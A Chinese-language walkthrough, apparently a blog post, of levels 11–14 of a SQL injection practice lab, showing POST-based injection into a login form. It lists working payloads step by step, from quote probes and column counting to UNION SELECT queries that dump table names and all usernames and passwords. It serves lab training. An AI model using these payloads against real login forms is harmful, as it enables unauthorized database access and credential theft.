第十一关
首先打开第十一关,发现回显页面为一个登录框,从这里容易得知,需要我们在登录框页面上进行注入,打开抓包工具Burpsuite,判断提交方法以及参数类型
在登录框里随便输入用户名和密码
抓包显示:提交方法为POST,这里我们可以得知注入类型为POST注入,跟Get类型注入方式是一样的,只是用POST方式提交,这里需要用到火狐的一个插件hackber,这款插件可以使用POST方式提交数据,也可以在Burp上注入
知道了提交类型后,我们使用火狐的hackber插件提交数据,开始进行注入,这里我们需要将Burp注入的 uname=admin&passwd=admin&submit=Submit 代入至hackber,如下图
开始判断参数类型
当我们使用数字型注入时,页面直接报错,说明不是数字型注入
当我们用字符型的【'】号进行注入,我们可以得到报错语句
从这里的语句提示,我们可以大概猜到sql语句select * from 表名 where username='参数' and password='参数' limit 0,1
在我们用【'】进行注入的时候,这里不可以用--+注释后面的语句,只能换成#进行注释
判断字段数
uname=1' order by 3#&passwd=admin&submit=Submit
我们设置的字段数为3,提示错误,说明只有2个字段
判断回显点
uname=-1' union select 1,2#&passwd=admin&submit=Submit
这里我们依旧运用联合注入的方式进行,因为页面显示报错语句
爆出数据库名-------爆出来是security
uname=-1' union select 1,database()#&passwd=admin&submit=Submit
爆出表名
uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit
爆出所有表的字段名
uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security'#&passwd=admin&submit=Submit
这里看的比较复杂,正常来说,我们获得特定表的字段名就ok啦,比如在这里我们获取的是users表
uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=admin&submit=Submit
这里就可以获得我们想要的数据啦
爆出username,password值
uname=-1' union select 1,group_concat(username,password) from users#&passwd=admin&submit=Submit
这里我们获得的是users表下所有的用户名和密码,大家分别尝试登录就好啦
总体来说,这里的提交方式改变了而已,其他的注入流程都是一样的
第十二关
这里我们注入数字型和【‘】号型都不可以,此时我们尝试用【"】闭合,提示报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") and password=("") LIMIT 0,1' at line 1
这里我们可以知道参数类型为【")】型,接下来的就跟上面一样啦
第十三关
这里与第十二关差不多,只需要把双引号改成单引号就行了【')】
第十四关
第十四关和第十一关差不多,只需要将单引号换成双引号
大家觉得有什么不对的可以积极评论哈,有什么不足的我也可以补补【嘻嘻】!